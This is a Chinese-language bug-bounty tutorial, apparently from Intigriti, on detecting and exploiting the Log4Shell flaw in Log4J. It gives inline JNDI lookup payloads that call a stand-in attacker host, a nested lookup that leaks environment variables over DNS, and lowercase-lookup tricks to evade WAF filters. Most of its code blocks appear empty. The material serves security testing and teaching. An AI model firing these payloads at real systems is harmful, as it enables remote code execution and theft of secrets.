Log4Shell (Log4J): 高级利用指南
目录
- 什么是Log4Shell (Log4J)
- 识别易受攻击的Log4J目标
- 野外利用易受攻击的Log4J目标
- 利用更高级的易受攻击Log4J案例
- 结论
什么是Log4Shell (Log4J)
Apache Log4J是Java生态系统中部署最广泛的日志框架之一,由Apache软件基金会开发,广泛用于企业应用程序、Web服务和其他类型的系统。作为日志库,Log4J使开发人员能够在任何应用程序类型中记录应用程序事件、调试信息和系统状态消息,并具有可配置的输出格式和目标。
Log4Shell (CVE-2021-44228) 是Apache Log4J(版本2.0-beta9至2.14.1)中的一个关键远程代码执行漏洞。该漏洞存在于Log4J的消息查找替换功能中,该功能处理日志消息中的特殊语法,以在运行时动态解析和替换值。因此,您可能从各处认出的这个流行有效负载字符串:
Log4Shell (Log4J) JNDI有效负载分解
核心问题在于Log4J处理日志消息中的JNDI(Java命名和目录接口)查找。当Log4J遇到包含JNDI查找语法的特制字符串时,它会自动尝试通过连接到外部服务器并从远程位置加载Java类来解析引用。此行为无论日志级别配置如何都会发生,这意味着即使用户控制的数据到达日志框架,仅记录ERROR或FATAL消息的应用程序仍然易受攻击。
Log4Shell工作原理:
该漏洞利用Log4J自动替换格式为${protocol:address}
的查找表达式。当Log4J处理包含恶意JNDI查找(如${jndi:ldap://intigriti-example/xyz}
)的日志消息时,会发生以下序列:
- 日志消息处理:应用程序记录包含恶意字符串的消息,直接或通过用户控制的输入记录
- 查找解析:Log4J的PatternLayout识别
${}
语法并触发查找机制 - JNDI连接:JNDI子系统建立到查找字符串中指定的攻击者控制服务器的连接
- 类加载:远程服务器响应Java类的引用,Log4J自动下载并将其加载到应用程序的内存空间
- 代码执行:恶意类在易受攻击的应用程序上下文中执行,授予攻击者与应用程序进程相同的权限
Log4Shell (Log4J) 漏洞利用工作原理
现在让我们更深入地了解如何高精度地识别使用Log4J日志库的目标。
阅读提示:JNDI攻击在Log4Shell出现之前早已存在。2016年,研究人员Alvaro Muñoz和Oleksandr Mirosh在BlackHat演讲中描述了Log4Shell的根本原因。
识别易受攻击的Log4J目标
在我们主动发送任何Log4Shell有效负载之前,需要寻找基于Java的应用程序的指标。搜索服务器响应头,如Apache-Coyote、Jetty或其他自定义Java应用程序服务器。检查您访问的应用程序路由的文件扩展名。偶尔,在基于Java的应用程序中,您会遇到包含对Spring、Struts或JSF等常用Log4J的Java框架引用的HTML注释。您还可以使用BuiltWith和Wappalyzer等工具进行技术指纹识别,尽管这种方法有其局限性。
阅读提示:利用Shodan和Censys的力量识别易受攻击的目标,或简单地学习如何使用Google Dorking列出所有索引的基于Java的目标!
一旦成功枚举了可能的目标,我们需要寻找通常使用易受攻击软件进行日志记录的应用程序组件。任何记录用户可控数据的应用程序功能都成为潜在的注入点,例如:
- 记录用户名和失败登录尝试的身份验证端点
- 记录用户代理、引用头、UTM和其他跟踪参数的分析服务
- 记录请求体、头和其他元数据的API端点
- 记录处理错误以及文件名、文件大小和其他可能文件元数据的文件上传功能
- 记录异常详细信息(包括导致异常的用户输入)的错误处理中间件
- 记录系统事件的审计和合规服务
之后,您可以在HTTP请求的任何更可能被记录和处理的组件中发送有效负载。以下是一些可以尝试的请求头:
|
|
带有Log4Shell有效负载的HTTP请求示例
如果您不熟悉如何在请求中注入Log4Shell,请查看以下示例:
|
|
提示! 建议每个请求注入单个有效负载。这样,您可以轻松跟踪可能的交互并定位易受攻击的请求。使用这种方法,您还可以轻松避免发送将被终端服务器拒绝的巨大HTTP请求。
野外利用易受攻击的Log4J目标
要利用Log4Shell (CVE-2021-44228),我们必须在应用程序组件中注入有效负载,该组件可能会使易受攻击版本的Log4J评估我们的有效负载并执行JNDI查找以尝试加载Java类。
让我们检查一个简单的例子。
接收基本回显
将以下有效负载发送到易受Log4Shell攻击的Web服务将进行JNDI查找。如果您控制另一端(intigriti-example),您应该收到传入请求。
|
|
在目标上,Log4J日志框架将评估我们的有效负载以联系主机并尝试包含外部Java类。作为攻击者,我们实际上可以托管我们的恶意Java代码并实现远程代码执行。
绕过端口限制
然而,这并不总是那么简单。由于预设的主机安全策略,某些服务器默认无法建立出站连接。在这种情况下,我们必须寻找这些限制的潜在绕过方法。如果存在可能的绕过,它将是连接端口(1-65535)、协议(UDP/TCP)或主机的例外。
如果对网络端口设置了限制,我们可以简单地尝试另一个端口。端口80、443、8080和8443最有可能被列入白名单:
|
|
通过DNS利用Log4Shell
在其他情况下,我们会注意到某些主机阻止所有出站TCP连接。要绕过此限制,我们可以设置本地DNS服务器来监听传入查询。一旦我们的OAST服务器设置完成,我们可以发送以下有效负载:
|
|
这种方法可能有助于绕过负载均衡器或其他类型反向代理服务器后面的易受攻击应用程序。
通过嵌套JNDI查找外泄数据
假设我们收到了回显但无法包含带有恶意代码的Java类。在这种情况下,我们可以尝试通过出站连接外泄敏感数据。为此,我们需要调整有效负载并利用内部JNDI查找。内部JNDI查找总是首先解析,我们可以利用这一点来读取可能的环境或系统变量。
以下是使用嵌套JNDI查找的基本示例:
|
|
Log4J将首先解析内部JNDI查找:${env:HOST}
。此查找将获取HOST环境变量并将其添加到外部JNDI查找中,在这种情况下,它将将其添加为intigriti-example的子域。
接下来,Log4J将解析最终查找,即向<$HOST>.intigriti-example
进行DNS查询。
我们的OAST服务器将拾取此请求,我们将能够读取HOST环境变量。
以下是所有其他类型的可能查找列表(取决于环境):
|
|
利用更高级的易受攻击Log4J案例
我们已经介绍了基本有效负载。需要注意的一点是,大多数组织已经部署了针对上述常见有效负载的对策。现在让我们更深入地研究更高级的案例,以理解和制作我们的新WAF绕过方法。
通过有效负载混淆进行Log4Shell利用
当Log4Shell出现时,组织试图修补其系统。其中一些仅通过配置过滤器来阻止有效负载来实现这一点。为此,大多数WAF配置为使用正则表达式模式并匹配有效负载字符串以检测可能的Log4Shell有效负载。通过利用Log4J的内置字符串操作查找,我们可以绕过这些基本检测机制:
|
|
正如我们之前记录的,Log4J首先处理内部查找(例如,${lower:j}
变为j
),然后构造最终的JNDI字符串,绕过仅查找文字jndi:ldap
模式的弱WAF规则和过滤器。
让我们看一些使用高级混淆技术的更高级有效负载:
|
|
通过文件上传进行Log4Shell利用
在请求头和参数中注入有效负载并不是测试Log4Shell的唯一方法。文件上传也是测试CVE-2021-44228的可行方法。例如,最直接的方法之一是将Log4Shell有效负载直接嵌入上传的文件名中:
|
|
许多应用程序记录上传活动,包括用于审计目的、安全监控或调试的文件名。当包含JNDI查找的文件名、文件内容或文件元数据被记录时,Log4J会处理它并触发漏洞。PDF或其他类型的结构化文件对于Log4Shell利用也特别有效,因为处理库在遇到格式错误的内容时通常会记录错误和警告。
例如,如果您被允许上传SVG、Excel或Word文档,请尝试故意上传带有Log4Shell上传的格式错误文档,并监视OAST服务器以获取传入调用:
|
|
阅读提示:更深入地研究高级文件上传漏洞并在现代应用程序中利用XXE。
结论
易受Log4Shell攻击的应用程序仍然存在,即使在2025年。寻找它们总是值得的,因为它们具有严重的影响,正如我们在本文中记录的那样。
所以,您刚刚学到了关于Log4Shell (Log4J)的新知识……现在是时候将您的技能付诸实践了!您可以从在易受攻击的实验室练习开始,或者……浏览我们在Intigriti上的70多个公共漏洞赏金计划,谁知道呢,也许在您的下一次提交中赚取赏金!
立即开始在INTIGRITI上进行黑客攻击
您可能还喜欢:
- GitHub Dorking入门:如何使用GitHub搜索查找更多漏洞(2025年7月13日)
- SSTI:利用高级服务器端模板注入的完整指南(2025年6月15日)
- 发现隐藏参数:高级指南(2025年6月3日)